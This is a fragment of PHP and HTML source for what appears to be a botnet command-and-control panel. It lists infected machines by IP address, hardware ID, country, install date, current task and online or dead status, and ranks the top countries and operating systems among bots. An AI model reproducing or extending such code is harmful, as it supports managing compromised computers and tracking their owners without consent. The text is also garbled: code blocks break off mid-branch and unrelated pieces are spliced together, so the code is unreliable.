<th>Last Response</th>
<th>Current Task</th>
<th>Operating System</th>
<th>Bot Version</th>
<th>Mark</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<?php
$bots = $odb->query("SELECT * FROM bots ORDER BY lastresponse DESC");
$unix = $odb->query("SELECT UNIX_TIMESTAMP()")->fetchColumn(0);
while ($b = $bots->fetch(PDO::FETCH_ASSOC)) {
$id = $b['id'];
$ip = $b['ipaddress'];
$cn = geoip_country_name_by_id($gi, $b['country']);
$fl = strtolower(geoip_country_code_by_id($gi, $b['country']));
$lrd = $b['lastresponse'];
$lr = date("m-d-Y, h:i A", $lrd);
$ct = $b['currenttask'];
$os = $b['operatingsys'];
$bv = $b['botversion'];
$st = "";
$mk = "";
if ($lrd + ($knock + 120) > $unix) {
$st = '<small class="badge bg-green">Online</small>';
} else {
if ($lrd + $deadi < $unix) {
$st = '<small class="badge bg-red">Dead</small>';
} else {
$st = '<small class="badge bg-yellow">Offline</small>';
<div class="row">
<div class="col-lg-4 col-xs-8">
<h3>Top 3 Countries</h3>
<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
<thead>
<tr>
<th>Country</th>
<th># of Bots</th>
</tr>
</thead>
<tbody>
<?php
if ($total != "0") {
$csel = $odb->query("SELECT country, COUNT(*) AS cnt FROM bots GROUP BY country ORDER BY cnt DESC LIMIT 3");
while ($c = $csel->fetch()) {
echo '<tr><td>' . geoip_country_name_by_id($gi, $c[0]) . '</td><td>' . number_format($c[1]) . '</td></tr>';
}
} else {
echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
}
?>
</tbody>
</table>
</div>
<div class="col-lg-4 col-xs-8">
<h3>Top 3 Operating Systems</h3>
<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
<thead>
<tr>
<th>Operating System</th>
<th># of Bots</th>
?>
<tbody>
<tr><td>ID</td><td><?php
echo $d['id'];
?>
</td></tr>
<tr><td>HWID</td><td><?php
echo $d['bothwid'];
?>
</td></tr>
<tr><td>IP Address</td><td><?php
echo $d['ipaddress'];
?>
</td></tr>
<tr><td>Country</td><td><?php
echo geoip_country_name_by_id($gi, $d['country']);
echo ' <img src="img/flags/' . strtolower(geoip_country_code_by_id($gi, $d['country'])) . '.png" />';
?>
</td></tr>
<tr><td>Install Date</td><td><?php
echo date("m-d-Y, h:i A", $d['installdate']);
?>
</td></tr>
<tr><td>Last Response</td><td><?php
echo date("m-d-Y, h:i A", $d['lastresponse']);
?>
</td></tr>
<tr><td>Current Task</td><td>#<?php
echo $d['currenttask'];
?>
</td></tr>